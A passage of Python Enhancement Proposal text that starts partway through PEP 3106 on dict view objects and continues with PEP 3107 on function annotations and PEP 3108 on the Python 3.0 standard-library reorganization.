and pull their values out of the dict as needed. The advantage of this approach is that one can still write code like this: a = d.items() for k, v in a: ... # And later, again: for k, v in a: ... Effectively, iter(d.keys()) (etc.) in Python 3.0 will do what d.iterkeys() (etc.) does in Python 2.x; but in most contexts we don’t have to write the iter() call because it is implied by a for-loop. The objects returned by the .keys() and .items() methods behave like sets. The object returned by the values() method behaves like a much simpler unordered collection – it cannot be a set because duplicate values are possible. Because of the set behavior, it will be possible to check whether two dicts have the same keys by simply testing: if a.keys() == b.keys(): ... and similarly for .items(). These operations are thread-safe only to the extent that using them in a thread-unsafe way may cause an exception but will not cause corruption of the internal representation. As in Python 2.x, mutating a dict while iterating over it using an iterator has an undefined effect and will in most cases raise a RuntimeError exception. (This is similar to the guarantees made by the Java Collections Framework.) The objects returned by .keys() and .items() are fully interoperable with instances of the built-in set and frozenset types; for example: set(d.keys()) == d.keys() is guaranteed to be True (except when d is being modified simultaneously by another thread). Specification I’m using pseudo-code to specify the semantics: class dict: # Omitting all other dict methods for brevity. # The .iterkeys(), .itervalues() and .iteritems() methods # will be removed. def keys(self): return d_keys(self) def items(self): return d_items(self) def values(self): return d_values(self) class d_keys: def __init__(self, d): self.__d = d def __len__(self): return len(self.__d) def __contains__(self, key): return key in self.__d def __iter__(self): for key in self.__d: yield key # The following operations should be implemented to be # compatible with sets; this can be done by exploiting # the above primitive operations: # # <, <=, ==, !=, >=, > (returning a bool) # &, |, ^, - (returning a new, real set object) # # as well as their method counterparts (.union(), etc.). # # To specify the semantics, we can specify x == y as: # # set(x) == set(y) if both x and y are d_keys instances # set(x) == y if x is a d_keys instance # x == set(y) if y is a d_keys instance # # and so on for all other operations. class d_items: def __init__(self, d): self.__d = d def __len__(self): return len(self.__d) def __contains__(self, (key, value)): return key in self.__d and self.__d[key] == value def __iter__(self): for key in self.__d: yield key, self.__d[key] # As well as the set operations mentioned for d_keys above. # However the specifications suggested there will not work if # the values aren't hashable. Fortunately, the operations can # still be implemented efficiently. For example, this is how # intersection can be specified: def __and__(self, other): if isinstance(other, (set, frozenset, d_keys)): result = set() for item in other: if item in self: result.add(item) return result if not isinstance(other, d_items): return NotImplemented d = {} if len(other) < len(self): self, other = other, self for item in self: if item in other: key, value = item d[key] = value return d.items() # And here is equality: def __eq__(self, other): if isinstance(other, (set, frozenset, d_keys)): if len(self) != len(other): return False for item in other: if item not in self: return False return True if not isinstance(other, d_items): return NotImplemented # XXX We could also just compare the underlying dicts... if len(self) != len(other): return False for item in self: if item not in other: return False return True def __ne__(self, other): # XXX Perhaps object.__ne__() should be defined this way. result = self.__eq__(other) if result is not NotImplemented: result = not result return result class d_values: def __init__(self, d): self.__d = d def __len__(self): return len(self.__d) def __contains__(self, value): # This is slow, and it's what "x in y" uses as a fallback # if __contains__ is not defined; but I'd rather make it # explicit that it is supported. for v in self: if v == value: return True return False def __iter__(self): for key in self.__d: yield self.__d[key] def __eq__(self, other): if not isinstance(other, d_values): return NotImplemented if len(self) != len(other): return False # XXX Sometimes this could be optimized, but these are the # semantics: we can't depend on the values to be hashable # or comparable. olist = list(other) for x in self: try: olist.remove(x) except ValueError: return False assert olist == [] return True def __ne__(self, other): result = self.__eq__(other) if result is not NotImplemented: result = not result return result Notes: The view objects are not directly mutable, but don’t implement __hash__(); their value can change if the underlying dict is mutated. The only requirements on the underlying dict are that it implements __getitem__(), __contains__(), __iter__(), and __len__(). We don’t implement .copy() – the presence of a .copy() method suggests that the copy has the same type as the original, but that’s not feasible without copying the underlying dict. If you want a copy of a specific type, like list or set, you can just pass one of the above to the list() or set() constructor. The specification implies that the order in which items are returned by .keys(), .values() and .items() is the same (just as it was in Python 2.x), because the order is all derived from the dict iterator (which is presumably arbitrary but stable as long as a dict isn’t modified). This can be expressed by the following invariant: list(d.items()) == list(zip(d.keys(), d.values())) Open Issues Do we need more of a motivation? I would think that being able to do set operations on keys and items without having to copy them should speak for itself. I’ve left out the implementation of various set operations. These could still present small surprises. It would be okay if multiple calls to d.keys() (etc.) returned the same object, since the object’s only state is the dict to which it refers. Is this worth having extra slots in the dict object for? Should that be a weak reference or should the d_keys (etc.) object live forever once created? Strawman: probably not worth the extra slots in every dict. Should d_keys, d_values and d_items have a public instance variable or method through which one can retrieve the underlying dict? Strawman: yes (but what should it be called?). I’m soliciting better names than d_keys, d_values and d_items. These classes could be public so that their implementations could be reused by the .keys(), .values() and .items() methods of other mappings. Or should they? Should the d_keys, d_values and d_items classes be reusable? Strawman: yes. Should they be subclassable? Strawman: yes (but see below). A particularly nasty issue is whether operations that are specified in terms of other operations (e.g. .discard()) must really be implemented in terms of those other operations; this may appear irrelevant but it becomes relevant if these classes are ever subclassed. Historically, Python has a really poor track record of specifying the semantics of highly optimized built-in types clearly in such cases; my strawman is to continue that trend. Subclassing may still be useful to add new methods, for example. I’ll leave the decisions (especially about naming) up to whoever submits a working implementation. References [1] (1, 2) Java Collections Framework http://java.sun.com/docs/books/tutorial/collections/index.html

Final

PEP 3106 – Revamping dict.keys(), .values() and .items()

Standards Track

This PEP proposes to change the .keys(), .values() and .items() methods of the built-in dict type to return a set-like or unordered container object whose contents are derived from the underlying dictionary rather than a list which is a copy of the keys, etc.; and to remove the .iterkeys(), .itervalues() and .iteritems() methods.

PEP 3107 – Function Annotations Author: Collin Winter <collinwinter at google.com>, Tony Lownds <tony at lownds.com> Status: Final Type: Standards Track Created: 02-Dec-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Rationale Fundamentals of Function Annotations Syntax Parameters Return Values Lambda Accessing Function Annotations Use Cases Standard Library pydoc and inspect Relation to Other PEPs Function Signature Objects (PEP 362) Implementation Rejected Proposals References and Footnotes Copyright Abstract This PEP introduces a syntax for adding arbitrary metadata annotations to Python functions [1]. Rationale Because Python’s 2.x series lacks a standard way of annotating a function’s parameters and return values, a variety of tools and libraries have appeared to fill this gap. Some utilise the decorators introduced in PEP 318, while others parse a function’s docstring, looking for annotations there. This PEP aims to provide a single, standard way of specifying this information, reducing the confusion caused by the wide variation in mechanism and syntax that has existed until this point. Fundamentals of Function Annotations Before launching into a discussion of the precise ins and outs of Python 3.0’s function annotations, let’s first talk broadly about what annotations are and are not: Function annotations, both for parameters and return values, are completely optional. Function annotations are nothing more than a way of associating arbitrary Python expressions with various parts of a function at compile-time.By itself, Python does not attach any particular meaning or significance to annotations. Left to its own, Python simply makes these expressions available as described in Accessing Function Annotations below. The only way that annotations take on meaning is when they are interpreted by third-party libraries. These annotation consumers can do anything they want with a function’s annotations. For example, one library might use string-based annotations to provide improved help messages, like so: def compile(source: "something compilable", filename: "where the compilable thing comes from", mode: "is this a single statement or a suite?"): ... Another library might be used to provide typechecking for Python functions and methods. This library could use annotations to indicate the function’s expected input and return types, possibly something like: def haul(item: Haulable, *vargs: PackAnimal) -> Distance: ... However, neither the strings in the first example nor the type information in the second example have any meaning on their own; meaning comes from third-party libraries alone. Following from point 2, this PEP makes no attempt to introduce any kind of standard semantics, even for the built-in types. This work will be left to third-party libraries. Syntax Parameters Annotations for parameters take the form of optional expressions that follow the parameter name: def foo(a: expression, b: expression = 5): ... In pseudo-grammar, parameters now look like identifier [: expression] [= expression]. That is, annotations always precede a parameter’s default value and both annotations and default values are optional. Just like how equal signs are used to indicate a default value, colons are used to mark annotations. All annotation expressions are evaluated when the function definition is executed, just like default values. Annotations for excess parameters (i.e., *args and **kwargs) are indicated similarly: def foo(*args: expression, **kwargs: expression): ... Annotations for nested parameters always follow the name of the parameter, not the last parenthesis. Annotating all parameters of a nested parameter is not required: def foo((x1, y1: expression), (x2: expression, y2: expression)=(None, None)): ... Return Values The examples thus far have omitted examples of how to annotate the type of a function’s return value. This is done like so: def sum() -> expression: ... That is, the parameter list can now be followed by a literal -> and a Python expression. Like the annotations for parameters, this expression will be evaluated when the function definition is executed. The grammar for function definitions [11] is now: decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE decorators: decorator+ funcdef: [decorators] 'def' NAME parameters ['->' test] ':' suite parameters: '(' [typedargslist] ')' typedargslist: ((tfpdef ['=' test] ',')* ('*' [tname] (',' tname ['=' test])* [',' '**' tname] | '**' tname) | tfpdef ['=' test] (',' tfpdef ['=' test])* [',']) tname: NAME [':' test] tfpdef: tname | '(' tfplist ')' tfplist: tfpdef (',' tfpdef)* [','] Lambda lambda’s syntax does not support annotations. The syntax of lambda could be changed to support annotations, by requiring parentheses around the parameter list. However it was decided [12] not to make this change because: It would be an incompatible change. Lambdas are neutered anyway. The lambda can always be changed to a function. Accessing Function Annotations Once compiled, a function’s annotations are available via the function’s __annotations__ attribute. This attribute is a mutable dictionary, mapping parameter names to an object representing the evaluated annotation expression There is a special key in the __annotations__ mapping, "return". This key is present only if an annotation was supplied for the function’s return value. For example, the following annotation: def foo(a: 'x', b: 5 + 6, c: list) -> max(2, 9): ... would result in an __annotations__ mapping of {'a': 'x', 'b': 11, 'c': list, 'return': 9} The return key was chosen because it cannot conflict with the name of a parameter; any attempt to use return as a parameter name would result in a SyntaxError. __annotations__ is an empty, mutable dictionary if there are no annotations on the function or if the functions was created from a lambda expression. Use Cases In the course of discussing annotations, a number of use-cases have been raised. Some of these are presented here, grouped by what kind of information they convey. Also included are examples of existing products and packages that could make use of annotations. Providing typing information Type checking ([3], [4]) Let IDEs show what types a function expects and returns ([16]) Function overloading / generic functions ([21]) Foreign-language bridges ([17], [18]) Adaptation ([20], [19]) Predicate logic functions Database query mapping RPC parameter marshaling ([22]) Other information Documentation for parameters and return values ([23]) Standard Library pydoc and inspect The pydoc module should display the function annotations when displaying help for a function. The inspect module should change to support annotations. Relation to Other PEPs Function Signature Objects (PEP 362) Function Signature Objects should expose the function’s annotations. The Parameter object may change or other changes may be warranted. Implementation A reference implementation has been checked into the py3k (formerly “p3yk”) branch as revision 53170 [10]. Rejected Proposals The BDFL rejected the author’s idea for a special syntax for adding annotations to generators as being “too ugly” [2]. Though discussed early on ([5], [6]), including special objects in the stdlib for annotating generator functions and higher-order functions was ultimately rejected as being more appropriate for third-party libraries; including them in the standard library raised too many thorny issues. Despite considerable discussion about a standard type parameterisation syntax, it was decided that this should also be left to third-party libraries. ([7], [8], [9]). Despite yet more discussion, it was decided not to standardize a mechanism for annotation interoperability. Standardizing interoperability conventions at this point would be premature. We would rather let these conventions develop organically, based on real-world usage and necessity, than try to force all users into some contrived scheme. ([13], [14], [15]). References and Footnotes [1] Unless specifically stated, “function” is generally used as a synonym for “callable” throughout this document. [2] https://mail.python.org/pipermail/python-3000/2006-May/002103.html [3] http://web.archive.org/web/20070730120117/http://oakwinter.com/code/typecheck/ [4] http://web.archive.org/web/20070603221429/http://maxrepo.info/ [5] https://mail.python.org/pipermail/python-3000/2006-May/002091.html [6] https://mail.python.org/pipermail/python-3000/2006-May/001972.html [7] https://mail.python.org/pipermail/python-3000/2006-May/002105.html [8] https://mail.python.org/pipermail/python-3000/2006-May/002209.html [9] https://mail.python.org/pipermail/python-3000/2006-June/002438.html [10] http://svn.python.org/view?rev=53170&view=rev [11] http://docs.python.org/reference/compound_stmts.html#function-definitions [12] https://mail.python.org/pipermail/python-3000/2006-May/001613.html [13] https://mail.python.org/pipermail/python-3000/2006-August/002895.html [14] https://mail.python.org/pipermail/python-ideas/2007-January/000032.html [15] https://mail.python.org/pipermail/python-list/2006-December/420645.html [16] http://www.python.org/idle/doc/idle2.html#Tips [17] http://www.jython.org/Project/index.html [18] http://www.codeplex.com/Wiki/View.aspx?ProjectName=IronPython [19] http://peak.telecommunity.com/PyProtocols.html [20] http://www.artima.com/weblogs/viewpost.jsp?thread=155123 [21] http://www-128.ibm.com/developerworks/library/l-cppeak2/ [22] http://rpyc.wikispaces.com/ [23] http://docs.python.org/library/pydoc.html Copyright This document has been placed in the public domain.

Final

PEP 3107 – Function Annotations

Standards Track

This PEP introduces a syntax for adding arbitrary metadata annotations to Python functions [1].

PEP 3108 – Standard Library Reorganization Author: Brett Cannon <brett at python.org> Status: Final Type: Standards Track Created: 01-Jan-2007 Python-Version: 3.0 Post-History: 28-Apr-2008 Table of Contents Abstract Modules to Remove Previously deprecated [done] Platform-specific with minimal use [done] IRIX Mac-specific modules Solaris Hardly used [done] Obsolete Maintenance Burden Modules to Rename PEP 8 violations [done] Merging C and Python implementations of the same interface No public, documented interface [done] Poorly chosen names [done] Grouping of modules [done] dbm package html package http package tkinter package urllib package xmlrpc package Transition Plan Issues For modules to be removed In Python 3.0 In Python 2.6 Renaming of modules Python 3.0 Python 2.6 Open Issues Renaming of modules maintained outside of the stdlib Rejected Ideas Modules that were originally suggested for removal Introducing a new top-level package Introducing new packages to contain theme-related modules References Copyright Note The merging of profile/cProfile as of Python 3.3 did not occur, and thus is considered abandoned (although it would be acceptable to do in the future). Abstract Just like the language itself, Python’s standard library (stdlib) has grown over the years to be very rich. But over time some modules have lost their need to be included with Python. There has also been an introduction of a naming convention for modules since Python’s inception that not all modules follow. Python 3.0 presents a chance to remove modules that do not have long term usefulness. This chance also allows for the renaming of modules so that they follow the Python style guide. This PEP lists modules that should not be included in Python 3.0 or which need to be renamed. Modules to Remove Guido pronounced that “silly old stuff” is to be deleted from the stdlib for Py3K [8]. This is open-ended on purpose. Each module to be removed needs to have a justification as to why it should no longer be distributed with Python. This can range from the module being deprecated in Python 2.x to being for a platform that is no longer widely used. This section of the PEP lists the various modules to be removed. Each subsection represents a different reason for modules to be removed. Each module must have a specific justification on top of being listed in a specific subsection so as to make sure only modules that truly deserve to be removed are in fact removed. When a reason mentions how long it has been since a module has been “uniquely edited”, it is in reference to how long it has been since a checkin was done specifically for the module and not for a change that applied universally across the entire stdlib. If an edit time is not denoted as “unique” then it is the last time the file was edited, period. Previously deprecated [done] PEP 4 lists all modules that have been deprecated in the stdlib. The specified motivations mirror those listed in PEP 4. All modules listed in the PEP at the time of the first alpha release of Python 3.0 will be removed. The entire contents of lib-old will also be removed. These modules have already been removed from being imported but are kept in the distribution for Python for users that rely upon the code. cfmfile Documented as deprecated since Python 2.4 without an explicit reason. cl Documented as obsolete since Python 2.0 or earlier. Interface to SGI hardware. md5 Supplanted by the hashlib module. mimetools Documented as obsolete in a previous version. Supplanted by the email package. MimeWriter Supplanted by the email package. mimify Supplanted by the email package. multifile Supplanted by the email package. posixfile Locking is better done by fcntl.lockf(). rfc822 Supplanted by the email package. sha Supplanted by the hashlib package. sv Documented as obsolete since Python 2.0 or earlier. Interface to obsolete SGI Indigo hardware. timing Documented as obsolete since Python 2.0 or earlier. time.clock() gives better time resolution. Platform-specific with minimal use [done] Python supports many platforms, some of which are not widely used or maintained. And on some of these platforms there are modules that have limited use to people on those platforms. Because of their limited usefulness it would be better to no longer burden the Python development team with their maintenance. The modules mentioned below are documented. All undocumented modules for the specified platforms will also be removed. IRIX The IRIX operating system is no longer produced [15]. Removing all modules from the plat-irix[56] directory has been deemed reasonable because of this fact. AL/al Provides sound support on Indy and Indigo workstations. Both workstations are no longer available. Code has not been uniquely edited in three years. cd/CD CD drive control for SGI systems. SGI no longer sells machines with IRIX on them. Code has not been uniquely edited in 14 years. cddb Undocumented. cdplayer Undocumented. cl/CL/CL_old Compression library for SGI systems. SGI no longer sells machines with IRIX on them. Code has not been uniquely edited in 14 years. DEVICE/GL/gl/cgen/cgensuport GL access, which is the predecessor to OpenGL. Has not been edited in at least eight years. Third-party libraries provide better support (PyOpenGL [12]). ERRNO Undocumented. FILE Undocumented. FL/fl/flp Wrapper for the FORMS library [16] FORMS has not been edited in 12 years. Library is not widely used. First eight hits on Google are for Python docs for fl. fm Wrapper to the IRIS Font Manager library. Only available on SGI machines which no longer come with IRIX. GET Undocumented. GLWS Undocumented. imgfile Wrapper for SGI libimage library for imglib image files (.rgb files). Python Imaging Library provides read-only support [13]. Not uniquely edited in 13 years. IN Undocumented. IOCTL Undocumented. jpeg Wrapper for JPEG (de)compressor. Code not uniquely edited in nine years. Third-party libraries provide better support (Python Imaging Library [13]). panel Undocumented. panelparser Undocumented. readcd Undocumented. SV Undocumented. torgb Undocumented. WAIT Undocumented. Mac-specific modules The Mac-specific modules are not well-maintained (e.g., the bgen tool used to auto-generate many of the modules has never been updated to support UCS-4). It is also not Python’s place to maintain such a large amount of OS-specific modules. Thus all modules under Lib/plat-mac and Mac are to be removed. A stub module for proxy access will be provided for use by urllib. _builtinSuites Undocumented. Package under lib-scriptpackages. Audio_mac Undocumented. aepack OSA support is better through third-party modules. Appscript [18]. Hard-coded endianness which breaks on Intel Macs. Might need to rename if Carbon package dependent. aetools See aepack. aetypes See aepack. applesingle Undocumented. AppleSingle is a binary file format for A/UX. A/UX no longer distributed. appletrawmain Undocumented. appletrunner Undocumented. argvemulator Undocumented. autoGIL Very bad model for using Python with the CFRunLoop. bgenlocations Undocumented. buildtools Documented as deprecated since Python 2.3 without an explicit reason. bundlebuilder Undocumented. Carbon Carbon development has stopped. Does not support 64-bit systems completely. Dependent on bgen which has never been updated to support UCS-4 Unicode builds of Python. CodeWarrior Undocumented. Package under lib-scriptpackages. ColorPicker Better to use Cocoa for GUIs. EasyDialogs Better to use Cocoa for GUIs. Explorer Undocumented. Package under lib-scriptpackages. Finder Undocumented. Package under lib-scriptpackages. findertools No longer useful. FrameWork Poorly documented. Not updated to support Carbon Events. gensuitemodule See aepack. ic icglue icopen Not needed on OS X. Meant to replace ‘open’ which is usually a bad thing to do. macerrors Undocumented. MacOS Would also mean the removal of binhex. macostools macresource Undocumented. MiniAEFrame See aepack. Nav Undocumented. Netscape Undocumented. Package under lib-scriptpackages. OSATerminology pimp Undocumented. PixMapWrapper Undocumented. StdSuites Undocumented. Package under lib-scriptpackages. SystemEvents Undocumented. Package under lib-scriptpackages. Terminal Undocumented. Package under lib-scriptpackages. terminalcommand Undocumented. videoreader No longer used. W No longer distributed with Python. Solaris SUNAUDIODEV/sunaudiodev Access to the sound card on Sun machines. Code not uniquely edited in over eight years. Hardly used [done] Some platform-independent modules are rarely used. There are a number of possible explanations for this, including, ease of reimplementation, very small audience or lack of adherence to more modern standards. audiodev Undocumented. Not edited in five years. imputil Undocumented. Never updated to support absolute imports. mutex Easy to implement using a semaphore and a queue. Cannot block on a lock attempt. Not uniquely edited since its addition 15 years ago. Only useful with the ‘sched’ module. Not thread-safe. stringold Function versions of the methods on string objects. Obsolete since Python 1.6. Any functionality not in the string object or module will be moved to the string module (mostly constants). sunaudio Undocumented. Not edited in over seven years. The sunau module provides similar abilities. toaiff Undocumented. Requires sox library to be installed on the system. user Easily handled by allowing the application specify its own module name, check for existence, and import if found. new Just a rebinding of names from the ‘types’ module. Can also call type built-in to get most types easily. Docstring states the module is no longer useful as of revision 27241 (2002-06-15). pure Written before Pure Atria was bought by Rational which was then bought by IBM (in other words, very old). test.testall From the days before regrtest. Obsolete Becoming obsolete signifies that either another module in the stdlib or a widely distributed third-party library provides a better solution for what the module is meant for. Bastion/rexec [done] Restricted execution / security. Turned off in Python 2.3. Modules deemed unsafe. bsddb185 [done] Superseded by bsddb3 Not built by default. Documentation specifies that the “module should never be used directly in new code”. Available externally from PyPI. Canvas [done] Marked as obsolete in a comment by Guido since 2000 (see http://bugs.python.org/issue210677). Better to use the Tkinter.Canvas class. commands [done] subprocess module replaces it (PEP 324). Remove getstatus(), move rest to subprocess. compiler [done] Having to maintain both the built-in compiler and the stdlib package is redundant [20]. The AST created by the compiler is available [19]. Mechanism to compile from an AST needs to be added. dircache [done] Negligible use. Easily replicated. dl [done] ctypes provides better support for same functionality. fpformat [done] All functionality is supported by string interpolation. htmllib [done] Superseded by HTMLParser. ihooks [done] Undocumented. For use with rexec which has been turned off since Python 2.3. imageop [done] Better support by third-party libraries (Python Imaging Library [13]). Unit tests relied on rgbimg and imgfile. rgbimg was removed in Python 2.6. imgfile slated for removal in this PEP. linuxaudiodev [done] Replaced by ossaudiodev. mhlib [done] Should be removed as an individual module; use mailbox instead. popen2 [done] subprocess module replaces it (PEP 324). sgmllib [done] Does not fully parse SGML. In the stdlib for support to htmllib which is slated for removal. sre [done] Previously deprecated; import re instead. stat [TODO need to move all uses over to os.stat()] os.stat() now returns a tuple with attributes. Functions in the module should be made into methods for the object returned by os.stat. statvfs [done] os.statvfs now returns a tuple with attributes. thread [done] People should use ‘threading’ instead. Rename ‘thread’ to _thread. Deprecate dummy_thread and rename _dummy_thread. Move thread.get_ident over to threading. Guido has previously supported the deprecation [9]. urllib [done] Superseded by urllib2. Functionality unique to urllib will be kept in the urllib package. UserDict [done: 3.0] [TODO handle 2.6] Not as useful since types can be a superclass. Useful bits moved to the ‘collections’ module. UserList/UserString [done] Not useful since types can be a superclass. Moved to the ‘collections’ module. Maintenance Burden Over the years, certain modules have become a heavy burden upon python-dev to maintain. In situations like this, it is better for the module to be given to the community to maintain to free python-dev to focus more on language support and other modules in the standard library that do not take up an undue amount of time and effort. bsddb3 Externally maintained at http://www.jcea.es/programacion/pybsddb.htm . Consistent testing instability. Berkeley DB follows a different release schedule than Python, leading to the bindings not necessarily being in sync with what is available. Modules to Rename Many modules existed in the stdlib before PEP 8 came into existence. This has led to some naming inconsistencies and namespace bloat that should be addressed. PEP 8 violations [done] PEP 8 specifies that modules “should have short, all-lowercase names” where “underscores can be used … if it improves readability”. The use of underscores is discouraged in package names. The following modules violate PEP 8 and are not somehow being renamed by being moved to a package. Current Name Replacement Name _winreg winreg ConfigParser configparser copy_reg copyreg Queue queue SocketServer socketserver Merging C and Python implementations of the same interface Several interfaces have both a Python and C implementation. While it is great to have a C implementation for speed with a Python implementation as fallback, there is no need to expose the two implementations independently in the stdlib. For Python 3.0 all interfaces with two implementations will be merged into a single public interface. The C module is to be given a leading underscore to delineate the fact that it is not the reference implementation (the Python implementation is). This means that any semantic difference between the C and Python versions must be dealt with before Python 3.0 or else the C implementation will be removed until it can be fixed. One interface that is not listed below is xml.etree.ElementTree. This is an externally maintained module and thus is not under the direct control of the Python development team for renaming. See Open Issues for a discussion on this. pickle/cPickle [done] Rename cPickle to _pickle. Semantic completeness of C implementation not verified. profile/cProfile [TODO] Rename cProfile to _profile. Semantic completeness of C implementation not verified. StringIO/cStringIO [done] Add the class to the ‘io’ module. No public, documented interface [done] There are several modules in the stdlib that have no defined public interface. These modules exist as support code for other modules that are exposed. Because they are not meant to be used directly they should be renamed to reflect this fact. Current Name Replacement Name markupbase _markupbase Poorly chosen names [done] A few modules have names that were poorly chosen in hindsight. They should be renamed so as to prevent their bad name from perpetuating beyond the 2.x series. Current Name Replacement Name repr reprlib test.test_support test.support Grouping of modules [done] As the stdlib has grown, several areas within it have expanded to include multiple modules (e.g., support for database files). It thus makes sense to group related modules into packages. dbm package Current Name Replacement Name anydbm dbm.__init__ [1] dbhash dbm.bsd dbm dbm.ndbm dumbdm dbm.dumb gdbm dbm.gnu whichdb dbm.__init__ [1] [1] (1, 2) dbm.__init__ can combine anybdbm and whichdb since the public API for both modules has no name conflict and the two modules have closely related usage. html package Current Name Replacement Name HTMLParser html.parser htmlentitydefs html.entities http package Current Name Replacement Name httplib http.client BaseHTTPServer http.server [2] CGIHTTPServer http.server [2] SimpleHTTPServer http.server [2] Cookie http.cookies cookielib http.cookiejar [2] (1, 2, 3) The http.server module can combine the specified modules safely as they have no naming conflicts. tkinter package Current Name Replacement Name Dialog tkinter.dialog FileDialog tkinter.filedialog [4] FixTk tkinter._fix ScrolledText tkinter.scrolledtext SimpleDialog tkinter.simpledialog [5] Tix tkinter.tix Tkconstants tkinter.constants Tkdnd tkinter.dnd Tkinter tkinter.__init__ tkColorChooser tkinter.colorchooser tkCommonDialog tkinter.commondialog tkFileDialog tkinter.filedialog [4] tkFont tkinter.font tkMessageBox tkinter.messagebox tkSimpleDialog tkinter.simpledialog [5] turtle tkinter.turtle [4] (1, 2) tkinter.filedialog can safely combine FileDialog and tkFileDialog as there are no naming conflicts. [5] (1, 2) tkinter.simpledialog can safely combine SimpleDialog and tkSimpleDialog have no naming conflicts. urllib package Originally this new package was to be named url, but because of the common use of the name as a variable, it has been deemed better to keep the name urllib and instead shift existing modules around into a new package. Current Name Replacement Name urllib2 urllib.request, urllib.error urlparse urllib.parse urllib urllib.parse, urllib.request, urllib.error [6] robotparser urllib.robotparser [6] The quoting-related functions from urllib will be added to urllib.parse. urllib.URLOpener and urllib.FancyUrlOpener will be added to urllib.request as long as the documentation for both modules is updated. xmlrpc package Current Name Replacement Name xmlrpclib xmlrpc.client DocXMLRPCServer xmlrpc.server [3] SimpleXMLRPCServer xmlrpc.server [3] [3] (1, 2) The modules being combined into xmlrpc.server have no naming conflicts and thus can safely be merged. Transition Plan Issues Issues related to this PEP: Issue 2775: Master tracking issue Issue 2828: clean up undoc.rst For modules to be removed For module removals, it is easiest to remove the module first in Python 3.0 to see where dependencies exist. This makes finding code that (possibly) requires the suppression of the DeprecationWarning easier. In Python 3.0 Remove the module. Remove related tests. Remove all documentation (typically the module’s documentation file and its entry in a file for the Library Reference). Edit Modules/Setup.dist and setup.py if needed. Run the regression test suite (using -uall); watch out for tests that are skipped because an import failed for the removed module. Check in the change (with an appropriate Misc/NEWS entry). Update this PEP noting that the 3.0 step is done. In Python 2.6 Add the following code to the deprecated module if it is implemented in Python as the first piece of executed code (adjusting the module name and the warnings import and needed):from warnings import warnpy3k warnpy3k("the XXX module has been removed in Python 3.0", stacklevel=2) del warnpy3k or the following if it is an extension module: if (PyErr_WarnPy3k("the XXX module has been removed in " "Python 3.0", 2) < 0) return; (the Python-Dev TextMate bundle, available from Misc/TextMate, contains a command that will generate all of this for you). Update the documentation. For modules with their own documentation file, use the :deprecated: option with the module directive along with the deprecated directive, stating the deprecation is occurring in 2.6, but is for the module’s removal in 3.0.:.. deprecated:: 2.6 The :mod:`XXX` module has been removed in Python 3.0. For modules simply listed in a file (e.g., undoc.rst), use the warning directive. Add the module to the module deletion test in test_py3kwarn. Suppress the warning in the module’s test code usingtest.test_support.import_module(name, deprecated=True). Check in the change w/ appropriate Misc/NEWS entry (block this checkin in py3k!). Update this PEP noting that the 2.6 step is done. Renaming of modules Support in the 2to3 refactoring tool for renames will be used to help people transition to new module names [11]. Import statements will be rewritten so that only the import statement and none of the rest of the code needs to be touched. This will be accomplished by using the as keyword in import statements to bind in the module namespace to the old name while importing based on the new name (when the keyword is not already used, otherwise the reassigned name should be left alone and only the module that is imported needs to be changed). The fix_imports fixer is an example of how to approach this. Python 3.0 Update 2to3 in the sandbox to support the rename. Use svn move to rename the module. Update all import statements in the stdlib to use the new name (use 2to3’s fix_imports fixer for the easiest solution). Rename the module in its own documentation. Update all references in the documentation from the old name to the new name. Run regrtest.py -uall to verify the rename worked. Add an entry in Misc/NEWS. Commit the changes. Python 2.6 In the module’s documentation, add a note mentioning that the module is renamed in Python 3.0:.. note:: The :mod:`OLDNAME` module has been renamed to :mod:`NEWNAME` in Python 3.0. Commit the documentation change. Block the revision in py3k. Open Issues Renaming of modules maintained outside of the stdlib xml.etree.ElementTree not only does not meet PEP 8 naming standards but it also has an exposed C implementation. It is an externally maintained package, though PEP 360. A request will be made for the maintainer to change the name so that it matches PEP 8 and hides the C implementation. Rejected Ideas Modules that were originally suggested for removal asynchat/asyncore Josiah Carlson has said he will maintain the modules. audioop/sunau/aifc Audio modules where the formats are still used. base64/quopri/uu All still widely used. ‘codecs’ module does not provide as nice of an API for basic usage. fileinput Useful when having to work with stdin. linecache Used internally in several places. nis Testimonials from people that new installations of NIS are still occurring getopt Simpler than optparse. repr Useful as a basis for overriding. Used internally. sched Useful for simulations. symtable/_symtable Docs were written. telnetlib Really handy for quick-and-dirty remote access. Some hardware supports using telnet for configuration and querying. Tkinter Would prevent IDLE from existing. No GUI toolkit would be available out of the box. Introducing a new top-level package It has been suggested that the entire stdlib be placed within its own package. This PEP will not address this issue as it has its own design issues (naming, does it deserve special consideration in import semantics, etc.). Everything within this PEP can easily be handled if a new top-level package is introduced. Introducing new packages to contain theme-related modules During the writing of this PEP it was noticed that certain themes appeared in the stdlib. In the past people have suggested introducing new packages to help collect modules that share a similar theme (e.g., audio). An Open Issue was created to suggest some new packages to introduce. In the end, though, not enough support could be pulled together to warrant moving forward with the idea. Instead name simplification has been chosen as the guiding force for PEPs to create. References [7] Python Documentation: Global Module Index (http://docs.python.org/modindex.html) [8] Python-Dev email: “Py3k release schedule worries” (https://mail.python.org/pipermail/python-3000/2006-December/005130.html) [9] Python-Dev email: Autoloading? (https://mail.python.org/pipermail/python-dev/2005-October/057244.html) [10] Python-Dev Summary: 2004-11-01 (http://www.python.org/dev/summary/2004-11-01_2004-11-15/#id10) [11] 2to3 refactoring tool (http://svn.python.org/view/sandbox/trunk/2to3/) [12] PyOpenGL (http://pyopengl.sourceforge.net/) [13] (1, 2, 3) Python Imaging Library (PIL) (http://www.pythonware.com/products/pil/) [14] Twisted (http://twistedmatrix.com/trac/) [15] SGI Press Release: End of General Availability for MIPS IRIX Products – December 2006 (http://www.sgi.com/support/mips_irix.html) [16] FORMS Library by Mark Overmars (ftp://ftp.cs.ruu.nl/pub/SGI/FORMS) [17] Wikipedia: Au file format (http://en.wikipedia.org/wiki/Au_file_format) [18] appscript (http://appscript.sourceforge.net/) [19] _ast module (http://docs.python.org/library/ast.html) [20] python-dev email: getting compiler package failures (https://mail.python.org/pipermail/python-3000/2007-May/007615.html) Copyright This document has been placed in the public domain.

Final

PEP 3108 – Standard Library Reorganization

Standards Track

Just like the language itself, Python’s standard library (stdlib) has grown over the years to be very rich. But over time some modules have lost their need to be included with Python. There has also been an introduction of a naming convention for modules since Python’s inception that not all modules follow.

